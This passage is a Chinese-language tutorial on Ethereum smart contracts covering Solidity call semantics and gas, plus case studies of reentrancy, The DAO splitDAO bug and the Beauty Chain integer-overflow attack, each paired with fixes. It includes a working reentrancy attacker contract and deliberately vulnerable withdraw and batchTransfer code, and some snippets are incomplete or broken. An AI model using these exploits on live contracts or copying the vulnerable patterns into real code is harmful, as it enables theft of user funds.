目前的加密货币的主流依旧是工作量证明,权益证明相对不成熟。工作量证明有利有弊,弊端已经提过,浪费电能。但是利处就是可以将电能变为钱,电能的存储与运输一直是很大的问题,通过挖矿可以将过剩的电能变为钱,解决了过剩产能。
9.智能合约
智能合约是运行在区块链上的一段代码,代码的逻辑定义了合约的内容。
智能合约的帐户保存了合约当前的运行状态,包括:balance——当前余额,nonce——交易次数,code——合约代码,storage——存储,数据结构是一棵MPT。
开发语言使用了Solidity,它是智能合约最常用的语言。
9.1 简单的公开拍卖
源码来源点这里
pragma solidity ^0.4.22; //声明语言版本号
contract SimpleAuction {
// 函数的参数,时间是绝对unix系统时间或者以秒为单位的时间段。
address public beneficiary; //拍卖受益人
uint public auctionEnd; //结束时间
// 目前的拍卖状态。
address public highestBidder; //最高出价者
uint public highestBid; //最高出价
mapping(address => uint) pendingReturns; //所有竞拍者的出价
// 最后设置为true,不允许任何更改
bool ended;
// 将要记录的事件。
event HighestBidIncreased(address bidder, uint amount); //最高价格增加,竞拍者的地址与价格
event AuctionEnded(address winner, uint amount); //竞拍结束时的胜利者和竞拍价
// 以受益者地址的名义创建一个拍卖。拍卖时间为`_biddingTime`秒。
// 这是一个构造函数
constructor(
uint _biddingTime,
address _beneficiary
) public {
beneficiary = _beneficiary;
auctionEnd = now + _biddingTime;
}
// 对拍卖进行出价,使用与此交易一起发送的价值竞标拍卖。只有在未赢得拍卖的情况下,才会退还该价值。
// 以下的function是一些成员函数可以被外部账户,合约账户调用。
function bid() public payable {
// 不需要参数,所有信息都已经是交易的一部分。关键字应付是功能能够接收以太网所必需的。
// 当出价期结束,还原
require(
now <= auctionEnd,
"Auction already ended."
);
// 如果出价不高,则退回款项。
require(
msg.value > highestBid,
"There already is a higher bid."
);
if (highestBid != 0) {
pendingReturns[highestBidder] += highestBid;
}
highestBidder = msg.sender;
highestBid = msg.value;
emit HighestBidIncreased(msg.sender, msg.value);
}
//撤回出价过高的出价,返回是否成功
function withdraw() public returns (bool) {
uint amount = pendingReturns[msg.sender];
if (amount > 0) {
pendingReturns[msg.sender] = 0;
if (!msg.sender.send(amount)) {
pendingReturns[msg.sender] = amount;
return false;
}
}
return true;
}
//结束拍卖,把最高的出价发送给受益人
function auctionEnd() public {
// 拍卖已经截止
require(now >= auctionEnd, "Auction not yet ended.");
//该函数被调用过
require(!ended, "auctionEnd has already been called.");
// 发送最高出价
ended = true;
emit AuctionEnded(highestBidder, highestBid);
beneficiary.transfer(highestBid);
}
}
9.2 合约中的调用
9.2.1 外部账户调用合约
创建一个交易,接收地址为要调用的那个智能合约的地址,data域填写要调用的函数及其参数的编码值。如下图所示:来源点这里
9.2.2 合约账户调用合约
9.2.2.1 直接调用
一个账户直接调用函数
contract A{
event LogCallFoo(String str);
function foo(String str) returns(uint){
emit LogCallFoo(str);
return 123;
}
}
contract B{
uint ua;
function callAFooDirectly(address addr)public{
A a=A(addr);
ua =a.foo("call foo directly");
}
}
注意:
1.如果在执行a.foo()过程中抛出错误,则callAFooDirectly也抛出错误,本次调用全部回滚。
2.ua为执行a.foo(“call foo directly”)的返回值
3.可以通过.gas() 和 .value() 调整提供的gas数量或提供一些ETH
9.2.2.2 addr.call()
使用address类型的call()函数,一个典型的例子如下所示:
contract C{
function callAFooByCall(address addr) public returns(bool){
bytes4 funcsig = bytes4(Keccak256("foo(string)"));
if
}
}
1.第一个参数被编码成4 个字节,表示要调用的函数的签名。
2.其它参数会被扩展到 32 字节,表示要调用函数的参数。
3.上面的这个例子相当于A(addr).foo(“call foo by func call”)
4.返回一个布尔值表明了被调用的函数已经执行完毕(true)或者引发了一个 EVM异常(false),无法获取函数返回值。
5.也可以通过.gas() 和 .value() 调整提供的gas数量或提供一些ETH
它与直接调用的不同之处在于:错误处理的方式不同。直接调用中被调用的合约出现问题,调用合约的执行也会中断。而addr.call()的返回值是true或者false,这对于调用它的合约来说没有影响,除了这个函数,剩下的都能执行。
9.2.2.3 delegatecall()
使用方法与call()相同,只是不能使用.value()
与前面的addr.call()的区别在于它没有切换上下文:call()切换到被调用的智能合约上下文中,delegatecall()只使用给定地址的代码,其它属性(存储,余额等)都取自当前合约。delegatecall 的目的是使用存储在另外一个合约中的库代码。
9.2.2.4 fallback()
首先解释payable,它是关键字,表明调用此函数,可向合约转入以太币。
function()public[payable]{
...
}
1.这是一个匿名函数,没有参数也没有返回值。
2.直接向一个合约地址转账而不加任何data,会调用这个函数
3.被调用的函数不存在,将fallback()作为默认函数
4.如果转账金额不是0,同样需要声明payable,否则会抛出异常。
9.3 合约创建和运行
9.3.1 创建
1.创建合约:外部帐户发起一个转账交易到0x0的地址,转账的金额是0,但是要支付汽油费,合约的代码放在data域里
2.智能合约的代码写完后,要编译成bytecode
3.智能合约的bytecode运行在EVM(Ethereum Virtual Machine)上
4.以太坊是一个交易驱动的状态机,调用智能合约的交易发布到区块链上后,每个矿工都会执行这个交易,从当前状态确定性地转移到下一个状态
9.3.2 运行
智能合约与比特币不同,智能合约是Turing-complete Programming Model,有图灵完备性。会出现死循环,造成停机问题。解决办法是引入汽油费机制,将运行智能合约造成的风险推给发起交易的人。交易发起者根据智能合约中的指令负责程度,支付一定金额的汽油费。执行完之后,再退回给交易发起者。txdata数据结构如下:
type txdata struct {
AccountNonce uint64 `json:"nonce" gencodec:"required"`//防止重放
Price *big.Int `json:"gasPrice" gencodec:"required"`//单位汽油价格
GasLimit uint64 `json:"gas" gencodec:"required"`//最大需要多少汽油
Recipient *common.Address `json:"to" rlp:"nil"` // 接收者地址
Amount *big.Int `json:"value" gencodec:"required"`//转账金额
Payload []byte `json:"input" gencodec:"required"`//data域中的内容
// Signature values
V *big.Int `json:"v" gencodec:"required"`
R *big.Int `json:"r" gencodec:"required"`
S *big.Int `json:"s" gencodec:"required"`
// This is only used when marshaling to JSON.
Hash *common.Hash `json:"hash" rlp:"-"`
}
9.3.3 错误处理
智能合约中的每一笔交易都是原子操作,不会执行到一半。一旦遇到异常,除特殊情况外,本次执行操作全部回滚,而且已经消耗的汽油费不会退回,这是为了防止dos攻击。
可以抛出错误的语句包括:
1.assert(bool condition):如果条件不满足就抛出—用于内部错误。
2.require(bool condition):如果条件不满足就抛掉—用于输入或者外部组件引起的错误。
3.revert():无条件抛出异常,终止运行并回滚状态变动。
智能合约中不存在自定义的try-catch结构
9.3.4 嵌套调用
由于智能合约的执行具有原子性,而在智能合约中存在嵌套调用,那么就存在一个问题:如果被调用的合约执行过程中发生异常,会不会导致发起调用的这个合约也跟着一起回滚?
有些调用方法会引起连锁式的回滚,有些则不会,直接调用会引起回滚,而call调用,会有返回值true or false,会让其他的部分继续执行下去。
一个合约直接向一个合约帐户里转账,没有指明调用哪个函数,仍然会引起嵌套调用,存在有fallback()函数。
9.3.5 合约执行与挖矿
应该是先执行,再挖矿。
所有的全节点都应该执行智能合约,保持状态一致。扣除汽油费的过程:全节点在本地维护三棵树,扣除汽油费的过程就是全节点在执行的过程中修改三棵树的状态。
所有全节点都应该执行交易。发布的区块中的交易都应该被执行,如果不执行,三棵树的根哈希值与其他的节点不一致,尝试的nonce是无效的,随后挖出的区块是不被认可的。
所有的合约无论是否成功执行,都应该被发布,因为涉及到汽油费的问题,不仅需要在本地扣除汽油费,也要公开发布,最后成为共识。
智能合约不支持多线程,多线程的执行结果是不确定的,而智能合约的执行是确定性的。多线程的执行顺序的不同会导致结果的不同,达不到共识。产生随机数,是使用的伪随机数,这样不会产生不一致问题。
9.3.6 智能合约获得的信息
智能合约可以获得的区块信息如下:
智能合约可以获得的调用信息如下:
9.4 重入攻击
通过fallback函数执行,具体的过程如下
1.当合约账户收到ETH但未调用函数时,会立刻执行fallback()函数。
2.通过addr.send()、addr.transfer()、addr.call.value()()三种方式付钱都会触发addr里的fallback函数。
3.fallback()函数由用户自己编写。
一个攻击实例如下:以下黑客的竞拍合约,包括有自己定义的fallback函数
contract HackV2{
uint stack=0;
function hack_bid(address addr) payable public{
SimpleAuctionV2 sa =SimpleAuctionV2(addr);
sa.bid.value(msg.value)();
}
function hack_withdraw(address addr) public payable{
SimpleAuctionV2(addr).withdraw();
}
function() public payable{
stack+=2;
if(msg.sender.balance>=msg.value && msg.gas>6000 && stack<500){
SimpleAuctionV2(msg.sender).withdraw();
}
}
}
以下是拍卖合约中的withdraw()部分的内容,由投标者自己取回出价,返回是否成功
function withdraw()public returns(bool){
//拍卖是否截止
require(now>auctionEnd);
//竞拍成功者把钱给受益人
require(msg.sender!=highestBidder);
//当前的地址有钱可以取
require(bids[msg.sender]>0);
uint amount = bids[msg.sender];
if(msg.sender.call.value(amount)()){
bids[msg.sender]=0;
return false;
}
return false;
}
这个合约的问题在于,黑客的合约中的fallback函数是有问题的。hack_withdraw函数,取回了黑客竞拍时的出价,但是当合约执行到call.value的时候,会调用黑客合约中的fallback函数。这个函数,会判断账户余额是否支持转账?汽油费是否够用?栈是否溢出?然后不断进行转账退款。
防范的方式,修改智能合约中的withdraw函数。修改后的版本如下:
function withdraw()public returns(bool){
//拍卖是否截止
require(now>auctionEnd);
//竞拍成功者把钱给受益人
require(msg.sender!=highestBidder);
//当前的地址有钱可以取
require(bids[msg.sender]>0);
uint amount = bids[msg.sender];
bids[msg.sender]=0;
if(!msg.sender.send(amount){
bids[msg.sender]=amount;
return true;
}
return false;
}
先将账户清零,使用了addr.send()(ps:也可以用addr.transfer()),两个函数的共同点是转账时的汽油费只有2300,不够合约执行函数,只能记录一个事件。
要注意的是,一旦合约发布到区块链,任何情况都不能修改,只有重新写。
10.The DAO
10.1 名词解释
DAO:Decentralized Autonomous Organization.去中心化的自治组织。
The DAO:是一个数字分权自治组织,和投资者定向形式的风险投资基金。类似于众筹,区块链的众筹,它是运行在区块链上的智能合约,用户通过以太币换取The DAO的代币进行项目的投资。而投资的项目是根据代币的数量决定的,代币的份额越大,权重越大。
DAC:Decentralized Autonomous Corporation.去中心化的公司。
split DAO:拆分DAO,收回代币,返还以太币
child DAO:子基金,拆分DAO后,投资者自己成立的小众的基金
10.2 漏洞产生
拆分理念没有错误,但是split DAO的实现代码有漏洞:
function splitDAO(
//定义一些参数
uint _proposalID,
address _newCurator
) noEther onlyTokenholders returns (bool _success) {
Proposal p = proposals[_proposalID];
// 合理性检查
if (now < p.votingDeadline // 投票截止日期到了吗?
//分割请求在投票截止日期后XX天到期
|| now > p.votingDeadline + splitExecutionPeriod
// 新的监管者地址是否匹配?
|| p.recipient != _newCurator
// 这是一个新的监管者提案吗?
|| !p.newCurator
// 你有投票支持这次分裂吗?
|| !p.votedYes[msg.sender]
// 你有没有对另一个提案投票?
|| (blocked[msg.sender] != _proposalID && blocked[msg.sender] != 0) ) {
throw;
}
// 如果新DAO尚不存在,请创建新DAO并存储当前拆分数据
if (address(p.splitData[0].newDAO) == 0) {
p.splitData[0].newDAO = createNewDAO(_newCurator);
if (address(p.splitData[0].newDAO) == 0)
throw;
// 不应该发生的
if (this.balance < sumOfProposalDeposits)
throw;
p.splitData[0].splitBalance = actualBalance();
p.splitData[0].rewardToken = rewardToken[address(this)];
p.splitData[0].totalSupply = totalSupply;
p.proposalPassed = true;
}
// 移动以太币并分配新的令牌
uint fundsToBeMoved =
(balances[msg.sender] * p.splitData[0].splitBalance) /
p.splitData[0].totalSupply;
if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false)
throw;
// 为新DAO分配奖励权利
uint rewardTokenToBeMoved =
(balances[msg.sender] * p.splitData[0].rewardToken) /
p.splitData[0].totalSupply;
uint paidOutToBeMoved = DAOpaidOut[address(this)] * rewardTokenToBeMoved /
rewardToken[address(this)];
rewardToken[address(p.splitData[0].newDAO)] += rewardTokenToBeMoved;
if (rewardToken[address(this)] < rewardTokenToBeMoved)
throw;
rewardToken[address(this)] -= rewardTokenToBeMoved;
DAOpaidOut[address(p.splitData[0].newDAO)] += paidOutToBeMoved;
if (DAOpaidOut[address(this)] < paidOutToBeMoved)
throw;
DAOpaidOut[address(this)] -= paidOutToBeMoved;
// 销毁DAO令牌
Transfer(msg.sender, 0, balances[msg.sender]);
withdrawRewardFor(msg.sender); // be nice, and get his rewards
totalSupply -= balances[msg.sender];
balances[msg.sender] = 0;
paidOut[msg.sender] = 0;
return true;
}
以下是问题出现的地方,先转账,然后再将账户置为0.造成了重入攻击。
withdrawRewardFor(msg.sender);
totalSupply -= balances[msg.sender];
balances[msg.sender] = 0;
paidOut[msg.sender] = 0;
10.3 补救方法
首先不能将交易全部回滚,不能将包含黑客盗取以太币交易的区块全部作废,应该精确定位。
补救措施应该针对The DAO的所有的账户而不仅仅是黑客账户,因为黑客账户利用了漏洞,其他账户同样也可以,为避免这种情况,应该对所有账户封禁。
10.3.1 软分叉
软件升级,锁定黑客账户,所有的与The DAO关联的账户,不允许交易。旧矿工挖出的区块,新矿工不认可,而新矿工挖出的区块旧矿工认可。
规则存在有bug,发生非法交易时,该规则检查地址时发生错误,却不收取汽油费,造成了dos攻击。
10.3.2 硬分叉
软件升级,将The DAO的所有以太币转到另一个智能合约上,这个智能合约只有一个功能,代币退以太币。无论签名是否合法,挖出第1920000个区块时,强制执行该规则,进行退款。这是一个硬分叉,因为旧区块不认可新区块,新区块没有合法的签名。
硬分叉分出两种币:ETH(新链)和ETC(Ethereum classic)。
11.美链(Beauty Chain)
11.1 背景介绍
美链是是一个部署在以太坊上的智能合约,有自己的代币BEC。它没有自己的区块链,代币的发行、转账都是通过调用智能合约中的函数来完成的。
可以自己定义发行规则,每个账户有多少代币也是保存在智能合约的状态变量里
ERC 20(Ethereum Request for Comments)是以太坊上发行代币的一个标准,规范了所有发行代币的合约应该实现的功能和遵循的接口
11.2 溢出攻击
11.2.1 源码分析
漏洞源码如下:来源点这里
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length;
uint256 amount = uint256(cnt) * _value;
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
具体工作过程:首先检查接收者的数目,检查发起调用的账户是不是有足够的代币可以给接收者发放,然后从发起账户中减去这个数目,接着循环发放代币。漏洞代码如下:
uint256 amount = uint256(cnt) * _value;
整型溢出,当value是一个很大的数时,两个数相乘,会发生溢出,变为很小的一个数。造成的后果就是,从调用账户中扣代币是很少的一部分数目,而给接收者的却是相当大的金额。造成整个系统中凭空多了很多的代币。
11.2.2 攻击实例
参数解释:
1.第0号参数是_receivers数组在参数列表中的位置,即从第64个byte开始,也就是第2号参数。
2.第1号参数是给每个接受者转账的金额,是一个很大的数,通过这样的参数计算出来的amount恰好溢出为0,8*2,越界了。
3.第2号参数先指明数组长度为2。
4.第3号参数和第4号参数表明两个接受者的地址。
11.2.3 攻击结果
可以看到分别给两个接收者转了很大一笔的代币。
最后导致市值暴跌,如下图:
现在已经不发行了
11.2.4 预防措施
使用SafeMath库,具体内容如下:
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
只要通过SafeMath提供的乘法计算amount,就可以很容易地检测到溢出。
12.思考
1.加密货币的设计初衷不是替代法币,而是为了解决法币解决不了或者解决不方便的问题。
2.加密货币的效率低,每个区块包含的交易有限,而且需要确认。但是支付手段的好坏,需要在当前历史背景下评判,对于处理国际间的交易,当今没有比加密货币更好的支付方法,因此它就是很有效的支付手段。
3.智能合约的漏洞问题,一项技术的早期发展总会伴随着各种各样的问题。智能合约不能解决任何事情,需要因地制宜。智能合约仅仅是一种代码合同,不包含人工智能的技术,并不智能。
4.去中心化的模式不适用于所有的环境,但是能与中心化模式相互补充。去中心化不等于分布式。去中心化系统是交易驱动的状态机,主要目的是为了容错。分布式系统是为了获得线性加速比,提高计算能力,效率快
5.区块链不可篡改,造成智能合约bug的不可修复。但同时没有什么是绝对不可篡改的,以太坊的硬分叉就是一个例子。
#<完结>完结>